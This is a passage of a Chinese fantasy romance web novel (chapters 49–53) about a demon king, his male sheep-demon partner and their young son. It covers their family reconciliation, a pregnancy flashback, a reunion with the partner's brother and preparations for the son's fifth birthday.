“后来,你以为爸爸不让你去找妈妈,因此记恨爸爸,再加上妈妈出现了,占据了你的所有时间,你眼里只有妈妈,爸爸就更不知道该怎么和你相处了。”陆无烬望向眠眠的眼睛,“总归是爸爸的错,错过了就应该弥补,是爸爸偷懒了,爸爸向眠眠道歉。” 眠眠呆住了。他简直不敢相信面前这个人是他的爸爸。 “可以原谅爸爸吗?” “可以。”眠眠毫不犹豫地点头,然后紧紧抱住陆无烬的脖颈。 “爸爸怎么可能不喜欢眠眠?” 眠眠立即露出了笑容,他在爸爸的脸颊上亲了一口,显然陆无烬还是不太适应这样的亲昵,但他没有躲,还在眠眠的眼神央求下,低头在眠眠的脸颊上亲了亲。陆无烬的下巴有微小的胡茬,眠眠痒得缩起脖子,一边躲一边咯咯笑。 父子俩就这样重修旧好。 吃了饭,陆无烬带着眠眠去了一趟儿童乐园,当然他不会进去,他打电话喊来了齐妍和顾桓,让他们带着小孩过来。 晚上,他还帮眠眠洗了澡。 虽然洗得很不细致,刚把眠眠抱出浴缸,就接到了杨思昭的电话:“尊主大人,您老人家能不能多看一眼,看看眠眠的头顶上是什么?” 是泡沫,头发还没冲干净。 可怜的眠眠又一次变成落汤小羊。 好不容易洗完澡,父子俩穿着睡衣躺在床上,和杨思昭打完电话后,陆无烬看书,眠眠看绘本,两个人相安无事。 过了一会,陆无烬感觉到有一股试探的目光落在他的身上,他低头,对上了眠眠眨巴眨巴的圆眼睛。 眠眠问:“爸爸,我今晚可以在这边睡吗?” “可以。”眠眠立即放下绘本,钻进了陆无烬的臂弯。陆无烬关了灯,拉起了被子。 解除了心结,父子俩的感情有所升温,第二天,眠眠睡醒之后,在被窝里打滚赖床,陆无烬都没有生气,只是隔着被子拍了拍他的小屁股,说:“乖一点,妈妈就能早点回来。”眠眠立即钻出被窝。 父子俩盼望着盼望着,终于在第二天的晚上盼回了杨思昭。 杨思昭又何尝不想念他们呢?原本要在老家待到第三天早上的,可孤枕难眠,第二天的晚上,他就忍不住先回来了。 到家的时候已经将近十点半。 他推开卧室门,看到陆无烬正在哄眠眠睡觉。 那画面,他立即拿出手机抓拍。 成长记录册的今日主题他都想好了,就叫《父子的温馨时刻》。 他走进去,在床边坐下,先是俯身和陆无烬接了一个很短的吻,又趴在陆无烬的胸口,摸了摸眠眠的小脸。 眠眠迷迷糊糊地睁开眼。 看到了妈妈,又看到爸爸。 温暖的房间,晕黄的台灯,洁白的窗帘,还有陪在他身边的爸爸妈妈。 这一刻,眠眠觉得自己是全世界最幸福的小孩。 50、第50章... 每当清晨的阳光洒在枕畔,鼻间传来一股甜甜的奶香味,胳膊被一个软软热热的小东西包裹着,转头就看到一张可爱的小脸……这时候,杨思昭就会分外庆幸自己当初不顾陆无烬的反对,坚持要怀孕这个决定。 和人类一样,男妖是不能孕育生命的,除非服下孕珠。 孕珠不易得,洵暮偷偷去了狐妖的领地,用自己的十年修为换了一颗孕珠。 这是洵暮二十年的短暂羊生里,最聪明最有心机的一回,他没告诉陆无烬。 当天晚上,他还和往常一样,洗完澡,衣服都懒得穿就钻进陆无烬的被窝,陆无烬放下书卷,无奈拿起一旁的薄衫,替他穿上。 手臂刚送进袖子,又抽了回来。 洵暮抱住陆无烬的腰,仰头亲了亲陆无烬的下巴,措娇道:“不穿,神君亲我。” 陆无烬引以为傲的自控力,总是在小羊妖的身上失效。薄衫落地,□□愉。 等陆无烬缓缓退出来,洵暮才狡黠 笑,神神秘秘地告诉他:“我吃了孕丹!” 陆无烬怔住。 洵暮完全不知道问题的严重性,趴在陆无烬的胸口,一脸天真,“狐妖姐姐已经跟我讲了,今晚之后,我就可以有小小羊了!” 狐妖猜得没错,确实没过多久,洵暮就怀上了,肚子不算明显,但脸圆了一圈。 毕竟是男身,孕子本就是违背天伦的事,难说诞子过程中会不会出现问题,陆无烬心头愁云不散,洵暮倒是毫无所谓。每日吃吃喝喝,摘花玩水,出去追小鸟追兔子,没有半点烦恼。他只会扑到陆无烬的怀里,用指尖点一点陆无烬紧皱的眉头,软声说:“神君,不要紧张,我都不怕,你怕什么呀?”怕你疼,怕你受苦。 陆无烬抚着洵暮的脸,良久才将他用力揽进怀里。 半年多的孕期,也不是完全顺利,后半程洵暮基本上出不了门,浑身发酸,又一阵一阵发疼,他只能蜷缩在陆无烬的怀里抽噎。 他揪住陆无烬的衣领,委屈地问:“小小羊不喜欢我吗?他为什么要踢我?” 陆无烬抱着他哄:“他怎么会不喜欢你?他是太想见到你了,所以着急。” 洵暮泪眼婆娑,“真的吗?” “当然了。”陆无烬低头吻他。 怀胎的痛苦,神仙都没招。 陆无烬只能一遍遍地亲洵暮的额头、脸颊,和他唇舌交融,让他分心,缓解他的痛苦。 洵暮大多数时候都是乖的,偶尔也会折腾,半夜坐在陆无烬的腰上,哭着说要吃清晨枝头最新鲜的野果,必须是挂着露水的那种。陆无烬说明早就亲自去给他摘,他一个劲摇头,说现在就要吃。 陆无烬望着窗外明月昭昭,天亮还需不少于三个时辰。 “家里有桃子和杏子,都是最新鲜的,你不是最喜欢吃蜜桃了吗?我去拿,好不好?” “不要不要。”洵暮哭着摇头。 陆无烬无可奈何,又熬不过洵暮泪涟涟的眼,只好在半夜三更时,抱着洵暮出了门。 他用绒毯裹着洵暮,抱着他穿过青竹林,走到一片野果繁盛的山泉边,用法术清了一片空地出来,就这样抱着洵暮坐等天亮。洵暮缩在绒毯里,遮住了半张脸,他眼巴巴地望着树上的红果,问:“果子为什么不能直接掉进我的嘴巴里?” “……”陆无烬无法回答。 “应该有一种懂事的果子,一成熟就自动掉进我的嘴巴里。”洵暮自顾自地说。 他转念又问:“为什么小小羊不能一天就出来?” 陆无烬还是没法回答。 “神君,”洵暮把手伸出绒毯,摸了摸陆无烬的眼角,“你是不是不喜欢小小羊?” “是心疼。”陆无烬轻声说。 “不心疼,”洵暮圈住陆无烬的脖子,软绵绵地说:“是因为太喜欢神君了,喜欢太多了,多到溢出来,所以想要和神君生一个孩子,把我的喜欢分给他一点,不然我的心就要被越来越多的喜欢撑得涨开了。” 太直白的示爱,陆无烬听得怔怔失神。 他给了洵暮这般浓烈的爱意吗?他一直以为自己不会爱,不够主动,不够体贴。 他垂眸,洵暮的唇瓣就贴了上来。 他又开始措娇了,跨坐在陆无烬的腿上,说着就要扯开绒毯,脱下自己的衣裳。 “暮儿,这是树林。”陆无烬哑声劝阻。 周围野风簌簌,旷远无边。 陆无烬从未做过如此宣淫之事。 可是小羊妖没有人的道德心,也没有避忌之念,只一个劲地蹭他,“那不是正好?” “暮儿。” 洵暮把陆无烬的手放在自己微微隆起的小腹上,“想要,好几天了。” 陆无烬的喉结自上而下,缓慢滑动。 又是一晌贪欢。 翌日,陆无烬被清晨第一缕阳光蛰开了眼,松开被绒毯裹成小粽子的洵暮,起身去树林里寻找最新鲜、最饱满、沾着清露的红果。好不容易采了一小袋,回去之后,洵暮却怎么都不肯醒,躲在绒毯里,连脑袋都不愿意露出来。陆无烬只好等他醒。 醒了之后,小羊妖完全不认账,记忆全无,反问他:“我什么时候要吃野果了?” 陆无烬还能怎么样? 对着他澄澈又单纯的圆眼睛,一句重话都说不出来,只能抱起他,“好,你没有。” 洵暮在他怀里晃荡着两条腿。 半路又伏在他耳边,坏笑道:“我想起来了,是我要吃的。” 他高高抛起一颗小野果,陆无烬停下,看着小野果精准无误地落进洵暮的嘴巴。 洵暮笑嘻嘻:“好懂事的小果!” 他靠在陆无烬的肩头,满眼冒星星,唱着用不成调的小曲:“好英俊的神君,好贴心的神君,全世界最好的神君…….” “行了。”陆无烬无奈打断他。 又过了三个月,眠眠出生了。小家伙出生时还没有化形,是一只被孕丹包裹着的小羊,绒毛柔软,通身淡粉,还没有长出小羊角,但是尾巴有一小撮的黑。到了陆无烬的手里,感受到陆无烬体内的灵力,小家伙才渐渐化形,变成一个白白嫩嫩的小婴儿。眠眠刚出生的时候就很好看了,脸颊像新鲜的水蜜桃,睫毛长长的像小扇子,眼睛还没睁开,两只小手时不时攥起小拳头,在空中无意识地挥舞着。陆无烬用襁褓布裹着他,送到床边,虚弱的洵暮撑起身子看他,脸上露出了欣悦的笑容,“好可爱,比我想象的还要可爱。” 洵暮都不怎么敢碰他,生怕把小家伙碰坏了,连呼吸都放得轻轻的。 “眠眠,眠眠。”他轻唤。 闻到母亲的味道,小家伙开始哭。陆无烬和洵暮同时手忙脚乱起来,洵暮呆呆地望着眠眠,无措道:“他怎么哭了?”初为人父的陆无烬也没头绪,半晌才反应过来 要喂奶了。洵暮的脸倏地一下子红了。“我……我的……我还没有准备好…….”他躲进被窝里。因为害羞,连衣裳都是陆无烬帮他解开的。 小家伙吃饱喝足进入酣睡状态之后,洵暮立即钻进陆无烬的怀里,整个人还是窘迫不已,两手攥着陆无烬的衣襟发呆,陆无烬给他轻轻地揉,陪着他适应母亲的新身份。 “还疼不疼?”陆无烬问他。 洵暮把脸埋在陆无烬的胸口,摇头。 还是害羞。 过了一会儿,他突然出声:“神君。” “嗯?” “在人间,成了亲的夫妻,妻子都是怎么称呼丈夫的?” “相公,或者夫君。” 洵暮软绵绵地窝在陆无烬的怀里,“相公”“夫君”交替地喊着,说着羞于听的情话,简直把措娇功夫修炼到了最上乘。 “如果我早几百年出生,去人间寻找夫君,夫君在边塞守城的时候就不会寂寞了。我会陪在夫君身边,和你一起打仗,用法术帮你打退那些坏人,让你大获全胜,变成常胜将军。”“然后呢?”陆无烬轻声问。 “然后……”洵暮开始想象,可他没去过人界,压根想象不出人界的事,“然后…….” “然后我就十里红妆凤冠霞帔地把你娶回家。” 洵暮咧嘴笑,"那就太好啦!" 两个人贴在一起说着悄悄话,交颈而眠,半夜眠眠哭醒了,一向睡着了就雷打不动的洵暮倏然惊醒,抱起眠眠送入怀中。 小家伙饿了,要吃奶。 洵暮抱着眠眠,陆无烬抱着他。 夜色昏沉,月光柔谧。 养育一个孩子很辛苦,付出的时间精力成倍增加,可是幸福也是成倍的。 “总的来说,我那时候很幸福。” 杨思昭翻了个身,趴在陆无烬的肩头,告诉他:“我不后悔,一点都不后悔。” 下一秒,眠眠抱着小熊也趴了上来。 他听不懂,还非要学妈妈的话,“眠眠也不狗鬼,一点都不狗鬼。” 杨思昭噗嗤一声笑出来。 眠眠也跟着他傻笑。 不过很快他就笑不出来了,陆无烬朝他挑了下眉,他就知道,今天的幸福时刻结束了,他要去隔壁的儿童房了。 可是他也没那么抗拒了,因为爸爸妈妈会陪着他一起去儿童房,站在他的床边,为他盖上被子,摆好玩具,告诉他:“睡一觉,睁开眼就可以看到爸爸妈妈啦!妈妈明天早上给你做南瓜小饼哦!”眠眠咂摸咂摸嘴巴,已经开始馋了。 “眠眠,做一个有南瓜小饼的美梦吧。” 眠眠握住杨思昭的手,说:“妈妈,做一个有眠眠的美梦。” “爸爸呢?”杨思昭问。 “爸爸做一个有妈妈和眠眠的美梦。” 51、第51章.. 因为杨思昭要照顾两边的父母,所以每个月都有一半的时间在人界,一半的时间在洵山。而陆无烬和他一样,妖界事务繁忙起来,也是分身乏术一家三口总有不能团聚的时候。 虽说有灵眼以解相思之苦。 可是陆无烬实在太忙。 尤其是最近一段时间,由于殷刹突然死亡,他的手下也被陆无烬尽数清算,殷刹所管辖的几支军队需要二次整编。再加上陆无烬没了寻妻之愁,心思重回妖王之位,决定重新调整妖界各司各职。 因此,忙得不可开交。 杨思昭和眠眠躺在家里的大床上,脑袋抵在一起,通过灵眼结成的荧蓝色屏幕,看着伏案工作的陆无烬发呆。 “你在忙什么?” 陆无烬头都没抬,“看新编的名册。” “升了谁?” “陈此安,他现在是护卫队长官。” 眠眠听到了熟悉的名字,立即说:“花花蛇叔叔!” 杨思昭笑了笑,抱住眠眠:“叔叔变成长官了,以后不能叫花花蛇叔叔了。”眠眠不明白,但还是点头。 杨思昭望着屏幕里的陆无烬,打了个哈欠:“你还不睡吗?我上班前你已经是这样了,都一整天了,你累不累?” “尽早忙完,尽早回去。” 他只有在望向杨思昭的时候会露出一抹笑意,深邃的五官都变得鲜活。垂眸望向手中工作时,又会瞬间变得严肃深沉。 杨思昭无聊地捏了捏眠眠的屁股。 在眠眠的认知里,爸爸捏他屁股就是纯粹捉弄他,讨人嫌,但是妈妈捏他,一定是妈妈心情不好。 他立即扔了绘本,抱住杨思昭的脖子,软声软气地说:“妈妈,你不要不高兴,有眠眠陪着你呢,妈妈——” 他拍了拍自己的肩膀,“妈妈枕在我这边睡觉觉。” 他看过爸爸妈妈睡觉的样子,妈妈都是枕在爸爸的肩膀上的,于是他学着陆无烬的样子躺下来,伸长了胳膊。杨思昭忍俊不禁,很配合地靠了上去。 可惜眠眠的肩膀太小了,还没杨思昭的脸宽,扮演爸爸不到一分钟,他就宣告失败,可怜巴巴说:“我会快快长大的。” 杨思昭把他揽进怀里,捏着他的小手,轻声说:“不要快快长大,眠眠就慢慢地长大,妈妈还想陪你很久很久呢。” “很久很久是多久呀?” “眠眠不需要去想有多久,只要眠眠一回头,爸爸妈妈就一定在你身后。” 杨思昭对着屏幕问:“爸爸说是不是?” 陆无烬本来是懒得参与这种睡前无聊问答的,但是杨思昭说得认真,他只好百忙之中抽空回答了一个,“是。” 眠眠笑得眼睛弯成小月牙,他撅起嘴巴,在杨思昭的脸上重重地亲了一口。 小家伙很快就睡着了。 杨思昭帮他盖上被子,正要关闭灵眼,却听到屏幕里传来一个声音,是陆无烬的另一个近侍,来汇报工作。 “尊主,贺先生想和您见一面。” "!!"杨思昭陡然清醒。 贺先生是谁? 近侍走后,他立即问陆无烬,谁料陆无烬语焉不详,只说:“一位旧交,有些事情想拜托他帮忙。” 杨思昭并不是一个爱吃味的人,以前他不懂,现在他懂了,但相爱不易,他知道陆无烬对他的感情之深,所以从不瞎怀疑。然而也不知最近是不是一连分开了三天导致的不安全感,听到“旧交”两个字,他的心竟然慌了一瞬。他默默关了灵眼,昏暗卧室里,他久久难以入眠。陆无烬成神前有一段经历,成净梵神君后,也有一段经历。杨思昭只能从陆无烬和旁人口中获取只言片语,拼凑成一小段模糊的故事,其中细节,他并不知晓。 旧交……不会是他做人时的好友吧! 共历沙场、肝胆相照的好兄弟?千年之后重遇? 他不禁开始想象。 大战之后,一身玄色铠甲的陆无烬坐在高头大马上,立于黄沙尽头,遥望夕阳。不多时,一个姓贺的男人骑着马靠近,与陆无烬并肩而立。陆无烬转头望向身旁的男人,沉声说:“多亏有你。”二人相视一笑,默契不已。无论杨思昭站在马前如何挥手,如何张牙舞爪地拉扯着陆无烬的手,陆无烬都没有反应,还和那人一起渐行渐远。 “陆无烬,不可以!” 杨思昭从梦中惊醒。 他花了一整夜的时间,脑补了一段感人至深的故事,把梦里的自己气得半死,以至于醒来之后仍怨念从生,满腹不爽。 不行,他要调查清楚。 第一步,先去问陈此安。 陈此安竟然不知道这件事,“抱歉,杨先生,属下最近忙于接手护卫队,对尊主的其他命令并不知晓。贺先生?百年前好像听过一次,尊主那时候找过他。” “什么?” “那时我还不是尊主的贴身护卫,只听说过尊主派手下去神界寻找一个姓贺的神君……好像有这么一回事。” 杨思昭如晴天霹雳。 不会真和他想的一样吧? 他立即开始了第二步的计划。 通过灵眼,他偷听到陆无烬将在明天下午三点与那个叫贺先生的人见面。地点是潜山别墅。 于是第二天下午,他早早遣散了小(5)班的小妖怪们,然后穿戴整齐,带着眠眠踏上了前往潜山别墅的路。 他今天特意穿了一身黑,把额前的头发梳了上去,还戴了一副黑色墨镜,也给眠眠穿了一身黑,以及一副宝宝墨镜。 墨镜遮住了眠眠的半张脸,他疑惑地望向四周,“妈妈,我们要干嘛?” 杨思昭告诉他:“我们要去捉爸爸,看看爸爸在和谁见面!” 眠眠仰着头,不理解。 杨思昭当然不怀疑陆无烬的忠贞,但是他不满意陆无烬的隐瞒,不管见谁、为什么见面、为公事还是私事……都应该和杨思昭分享才对,杨思昭每天都把幼儿园发生的事,事无巨细地讲给陆无烬听。他的世界很小,只装得下亲人爱人和孩子,陆无烬也不可以有秘密。 他越想越气,直到听见眠眠的声音:“妈妈,我们到啦!” 出租车停在潜山别墅不远处,杨思昭抱着眠眠下来。 “妈妈!” 他对眠眠“嘘”了一声,紧张道:“眠眠不要出声音,不要被其他人发现!” 眠眠吓得立即缩起脖子。 两个人一前一后、鬼鬼祟祟地走到门口,只有一个近侍在看门,杨思昭怕他通风报信,于是用自己微乎其微的一点法术,吹响了不远处的一棵树,树叶簌簌而动,近侍立即前去查看。 杨思昭于是抱着眠眠溜了进去,一个箭步冲进家门。 眠眠被晃得七荤八素,宝宝墨镜变成了围脖。 他还是不知道妈妈在做什么。 杨思昭躲在玄关处观察,一楼空空荡荡,二楼有说话声。 很显然,陆无烬在二楼。 可是片刻之后,打扫卫生的保姆从储藏间里走了出来,她拿着鸡毛掸子到处清理灰尘,杨思昭找不到机会出来。 他把眠眠放下来,压着嗓子对眠眠说:“帮妈妈一件事,把保姆阿姨引开。” 眠眠听得懵懵。 “你往左边跑,把阿姨带到厨房去,妈妈就可以上楼了,知不知道?” 眠眠半知不解地点头。 杨思昭握住眠眠的小手,“就靠你了,眠眠,一定要帮妈妈抓住爸爸!” 眠眠用力点头,大声说:“好!” 杨思昭吓得魂都飞了,立即捂住他的嘴。 保姆循声望了过来,但他们躲在暗处,保姆还以为自己听错了,看了一会儿又收回视线,继续清扫。 重整旗鼓后,开始了今天的最后一关。 杨思昭拍了拍眠眠的屁股,命令他现在出发,头也不回地往左跑。 眠眠当即出发。 冲出玄关,越过沙发,抵达窗户。 他吭哧吭哧地跑着,心里默念:抓爸爸,抓爸爸! 保姆很快就发现了他,“咦?眠眠?” 眠眠朝保姆阿姨灿烂一笑。 杨思昭心头一喜,正准备冲去楼梯。下一秒,眠眠就摔了个四仰八叉。 杨思昭僵在原地,保姆一回头就发现了他,“咦?杨先生?” 杨思昭:“… 没办法,杨思昭只能快步过去,抱住正在酝酿呜咽的眠眠,对着保姆说:“就站在这里,不要发出声音。” 而后抱起眠眠就冲上了楼梯。 眠眠本来要哭的,因为太颠,他的哭声就从“呜呜呜呜”变成了“额额额额”。 很快,杨思昭把眠眠放在二楼的平地上。 二楼有六间房,每一扇门都是关着的。 “眠眠去左边一间,妈妈去右边。” “好!”眠眠举起小拳头。 两个人分工合作,分头出发。 杨思昭连续推开四扇门,一无所获,正准备打开第五扇门,忽然听见脚步声,吓得他和迎面跑来的眠眠撞在一起,他下意识护着眠眠,两个人摔了个落花流水。正巧这是第五扇门开了,一位妖界近侍走了出来,杨思昭立即抱着眠眠躲到走廊转角,两个人衣衫凌乱狼狈得很。 眠眠很无助:“妈妈!”杨思昭也很无助:“眠眠!”母子俩抱在一起抽噎。 一楼没有,二楼也没有。别墅就这么大。这个混蛋陆无烬到底在哪里啊!! 别墅外院子里的陆无烬看着屏幕上的两只小羊,对身旁的洵贺说:“我很好奇,你们当初是怎么想的,让他来勾引我?你觉得你弟弟懂什么是勾引吗?” 洵贺看着屏幕上的脸,想到三百年前青竹林外的天真小羊,笑了笑。 “我们在赌,神君或许就吃这一套呢?” 陆无烬起身,去接他的两只小羊。 “赌对了,我就是吃这套。” 52、第52章.. 杨思昭察觉出一丝不对劲。 从他抵达潜山别墅到现在的十五分钟里,似乎处处都透着不对劲。陆无烬就不说了,他的属下都是修为高强的妖,怎么会对他的出现毫无察觉。更别说,方才上楼时,眠眠的哭声那般明显,怎么… 陆无烬真的在这里吗? 他不会上当受骗了吧? 就在他头脑风暴的时候,身后传来一个低沉的、耳熟的声音,“是上当了。”“我也觉得。”杨思昭点了点头。半晌,他猛然反应过来,回头迎上了陆无烬含笑的目光。“你——” 陆无烬在他面前蹲下,无奈地笑:“为什么找过来,你在怀疑什么?” 杨思昭未语先委屈,别过脸,努起嘴巴,不肯吱声。眠眠做了他的传声筒:“我和妈妈是来抓爸爸的!” “为什么要抓爸爸?” 眠眠回忆了一下,然后义正辞严地皱起小眉头:“看看爸爸在做什么。” “爸爸在等你们。” “陆无烬!”杨思昭彻底生气了,“你故意整我,你知道我会多想,你知道我会吃醋,所以下了一个套就想看我的笑话!你以为这样很好玩吗?这种事不可以拿来开玩笑,这是感情最重要的基础——” “暮儿。” 话音未落,身后忽然响起一个声音。 温润的,友爱的,带着百年前的亲昵,像是梦中曾经出现过的声音。 杨思昭怔怔循声望去。 “…哥哥。” 是一路护送他到青竹林的哥哥,是明知自己不能离开洵山,还执意要护送他抵达青竹林的疼他爱他的哥哥。 洵贺朝他伸出手,嘴角弯起温柔的弧度,杨思昭慢了半拍,才抬动僵硬的手臂,把眠眠送到陆无烬的怀里,而后向看哥哥跑去,洵贺张开了迟到三百年的怀抱。 “回到洵山才知道你在青竹林发生了意外,平日里我都在界门附近,偏偏那天,我去了西山。前脚刚走,就听见你闯出界门的消息,我…我抱憾终生。” “哥哥。” “若我在场,定不会让你离开妖界,来人间经历转世之苦,”洵贺按住杨思昭的后背,叹气道:“是哥哥害了你,当初就不该把全族的希望压在你身上。” 杨思昭闷声说:“又不是哥哥做的决定,哥哥不要自责。” 他抬起头,笑着说:“如果当初选的不是我,我就遇不到陆无烬了,也就没有眠眠了!” 他从陆无烬的臂弯里接过眠眠,举到洵贺面前,“哥哥,这是我的宝宝!” 语气里满是骄傲。 “上一次见,小家伙还在襁褓里,”洵贺望向陆无烬,“被你抱着,怕是不舒服,哭得像个小泪人。” 杨思昭很惊讶:“哥哥你见过眠眠?” “见过,”洵贺摸了摸杨思昭的脑袋,温声说:“那时候我们都很想你,见到眠眠,就像是见到了你。” 杨思昭鼻头一酸。 洵贺接过眠眠,不太熟练地把眠眠放在自己的手臂上,眠眠有些紧张,两只小手紧紧地攥着洵贺的衬衣,小嘴扁了起来,眼看着就要哭。杨思昭在后面托住他,轻声说:“眠眠,这是舅舅。” 豆大的泪珠悬在眠眠的眼角,他呆呆地望着洵贺,杨思昭又提醒了他一遍。 “舅舅。”他怯怯地叫了一声。 “眠眠好。”洵贺捏了捏他的小脸。 “和你长得真像,简直一模一样,”洵贺笑着看向杨思昭,“怎么,不是大伯,直接就是舅舅了,就这么心甘情愿地做他的妻子?” “心甘情愿啊。” 杨思昭挑了下眉,“做妻子心甘情愿,做妈妈引以为荣。” 他还拍了拍自己的肚子,得意道:“我生的,厉不厉害?” “厉害。”洵贺望着他,半晌又敛起笑容:“辛苦了,暮儿。” 留眠眠一个人和舅舅升温感情,杨思昭把陆无烬拖进卧室,气鼓鼓地质问:“看我气急败坏的样子,是不是很好玩?” “没有。”陆无烬笑了笑,搂住他,“一开始只是想给你一个惊喜,不知道你误会了,是陈此安向我通风报信,我才反应过来。我保证,绝没有戏弄你的意思。” “我不是随便吃醋的人!” “我知道,你是一只心胸宽广的小羊。” 杨思昭竖起一根手指,戳了戳陆无烬的胸膛,一脸严肃:“不准笑!听好了!” 陆无烬把他抱在窗台上,站在他两腿之间,微微仰视着他,“你说。” “从今以后,我百分百地相信你,你也要给我百分百的安全感。不可以拿这种事逗我,不可以对我有所隐瞒,还有,不可以忙于工作疏忽了我。” “好。” “拉钩。” 陆无烬却握住他的手,抵在自己的胸口,“拉钩没意思,做个更有用的。” 杨思昭愣住,眼睁睁看着一缕一缕荧蓝色的光从他和陆无烬重叠的指缝中溢出来,环绕在手指周围有规律地飘动。下一秒,光线汇聚成一个圆形符号,陆无烬握住杨思昭的手抵在符号中央,霎时间,光芒遮目,符咒印入陆无烬的胸膛。 “这是什么?” 陆无烬说得毫无所谓,“一个用于承诺的符咒,如有违背,必遭反噬。” 杨思昭大惊,“陆无烬!!” 陆无烬倾身含住杨思昭的唇瓣,不顾他的挣扎,慢条斯理地吮磨。直到把杨思昭亲得腰酸腿软,才松开他。 “你……”杨思昭连发火都没有底气。 “安全感,又是一个人类发明的新词,不明白你为什么要向我寻求百分百的安全感,我认为,花了三百多年才找到的人,起码要亲够三百年才回本。” 杨思昭笑出声来,两手圈住陆无烬的脖子,问:“那三百年之后呢?” “白头偕老。” 杨思昭和他额头抵着额头,软声说:“愿望好多,月仙会不同意的。” “他不敢不同意。”陆无烬低头,在杨思昭耳边说:“那日他弄乱姻缘线,着急忙慌地补救,正巧被我随身携带的灵眼记录了下来。我想,从今往后他都不敢再对我们俩的事染指半分了。” 陆无烬再次吻住杨思昭的唇。 “所以,放心爱我。” 陆无烬的情话不多,大多数时候都是杨思昭在他耳边喋喋不休地重复,偶尔说几句,杨思昭便很受用,又软成没骨头的模样,红着脸,埋在陆无烬的颈窝里。 半晌才出声,“我会的。” 两个人好不容易有了二人世界,自然忘情厮混,直到洵贺抱着眠眠来敲门。 “行了行了,儿子还在外面呢。” 杨思昭理好衣领,打开门,迎面就对上一脸幽怨的眠眠,嘴巴撅得老高。 “哼!”眠眠气鼓鼓地抱住胳膊。 杨思昭不好意思地笑了笑,“眠眠?” 眠眠扭头望向另一边,又是一声:“哼!” 杨思昭把他从洵贺的怀里接过来,眠眠委屈巴巴地坐在妈妈的臂弯里,一低头就看到妈妈脖子上的红印,他呜咽出声:“又是爸爸,臭爸爸又在欺负妈妈了!” “…” 杨思昭大窘,抱着眠眠火速逃离现场。 当晚,陆无烬在潜山别墅宴请了洵贺,第二天,洵贺又随杨思昭回妖界,看望了父母,一家终于团聚,一个不缺。 吃完了晚饭。 杨思昭牵着眠眠的手走到河边。 河对岸正在放烟花,一簇一簇花火在夜空中绽放,把眠眠的眼睛映得亮晶晶。 他还是第一次见到烟花,兴奋地蹦蹦跳跳,高高地举起手,想要接住烟花。 “星星,落到眠眠手上!”他央求。可是烟花很快就在空中消失了。他沮丧地扁起嘴巴。他对杨思昭说:“妈妈,我也要放烟花!”“有点危险哦,烟花是大人玩的。”“那有没有小人玩的烟花?”杨思昭噗嗤一笑,“应该有吧,妈妈让爸爸去买。”他刚要回去找陆无烬,陆无烬已经拿着一扎烟花棒走过来了。杨思昭惊讶:“你怎么知道——”“小羊的心思太简单了。”陆无烬浅笑,点燃两根烟花棒,分别放到杨思昭和眠眠的手上。 “咻”的一声,两簇明亮的火花绽放开来,金色的火星滋滋地跳跃、迸溅。暖橙色的光芒映着眠眠的小脸,他好奇、又有些害怕,一双黑澄澄的圆眼睛被映得明亮。他抬头朝杨思昭傻笑,和杨思昭一起转圈圈,让烟花棒划出一圈圈金色弧线。两只小羊玩上了瘾,陆无烬手里的烟花棒尽数被他们拿去点燃,用烟花棒在空中画画,一大一小玩得不亦乐乎。 玩到最后,两个人都累了,躺在草地上气喘吁吁。因为太过兴奋,眠眠控制不住地把他的小羊角和尾巴露了出来。陆无烬走过来,刚坐下,两只小羊就迅速贴了过来,杨思昭枕着他的腿,眠眠窝在杨思昭的怀里,睡得香甜。 陆无烬摸了摸眠眠的小尾巴,故意逗杨思昭:“烟花棒把眠眠的尾巴烤糊了。” “什么?” 杨思昭震惊,望着眠眠尾巴上的一小撮黑,吓得眼泪差点出来,全然忘了自己尾巴上也有一撮天生的黑。 “怎么办,怎么办?”他焦急道。 眠眠也被吓到了,扭过头,望着自己的尾巴,呜咽着说:“我的尾巴糊掉了!” 他越想越伤心,仰头大哭:“我的尾巴糊掉了呜呜呜呜…” 他扑到杨思昭怀里,“妈妈,我变成丑小羊了,你还会喜欢我吗?” “当然了!”杨思昭抱紧他,“一点都不丑,妈妈的尾巴上也有一撮黑毛——” 杨思昭说到一半忽然顿住。 反应过来了。 他缓缓转过头,“陆!无!烬! “捉弄我们很好玩是不是?!” 53、第53章... 眠眠即将迎来他的五岁生日。 杨思昭提前半个月学习做蛋糕,他立誓要在眠眠生日当天,为眠眠做一个豪华五层小羊专属蛋糕。底座是最新鲜干净的琼花;第二层摆满水果,尤其是眠眠最喜欢吃的草莓和蓝莓;第三层在奶油外面画上眠眠崇拜的小狗神探雷欧;第四层是可以和小朋友们分享的杯子蛋糕:最顶上一层是巧克力做的小羊一家。“我怎么也是羊?”陆无烬看着杨思昭手中的戴领结的巧克力羊,皱起了眉头。 杨思昭摘了手套,两只手各竖起一根指头,搭在陆无烬的头顶两侧,“怎么了?你很嫌弃?” “没有。” 杨思昭“哼”了一声,朝他耸了耸鼻子,“没办法,你已经掉进羊圈,逃不出去了!” 陆无烬捏了捏他的脸。 “对了,你给眠眠准备了什么礼物?” 陆无烬不说。 “还搞神秘。”杨思昭朝他眨眨眼,“不会是提升灵力的法宝一类的东西吧?” 陆无烬的眼角微不可见地抽了抽。 “我就知道!真是不解风情,眠眠才五岁,他才不稀罕你那些法宝呢,不如和我一起做蛋糕。” 陆无烬却泰然,笃定道:“他会喜欢的。” 杨思昭不解,直到眠眠生日当天,他才明白陆无烬的意思。 眠眠的生日是四月七日。 那天春光明媚,万里无云,在潜山别墅外的草坪上,杨思昭为他布置了一场盛大的生日派对,邀请了幼儿园的小朋友们以及他们的父母,裴怀谦与许曜,还有杨思昭曾经的相亲对象姚奚雨—她已经找到了男朋友,杨思昭邀请她和男友一同前来做客。 她并不知道眠眠是杨思昭的亲生儿子,杨思昭也不知如何解释,于是语焉不详。姚奚雨于是自顾自理解成:杨思昭因为和陆无烬谈恋爱,于是把陆无烬的孩子也当成自己的孩子疼爱,而且两个人十分投缘,胜似母子,所以杨思昭对着眠眠就自称“妈妈”了。 她第一次见到眠眠就表现出了喜爱,之前就买过很多玩具,这次还亲自用钩针织了一张小毯子,放在礼盒里,送给了眠眠。 “眠眠,祝你生日快乐!”她蹲下来,摸了摸眠眠的小脸。 眠眠腼腆地笑,在杨思昭的指引下,软声软气地说:“谢谢小雨阿姨。” 杨思昭歉然,“总觉得阿姨把你喊老了。” 姚奚雨笑着说:“不至于,当眠眠的阿姨,我很荣幸的,眠眠再叫一声小雨阿姨。” 她张开手臂,眠眠就乖乖靠了过去,姚奚雨把他抱了起来,近距离看着眠眠的小脸,看他卷翘的眼睫毛,玻璃珠一样的大眼睛,还有嫩得像雪媚娘一样的脸蛋。 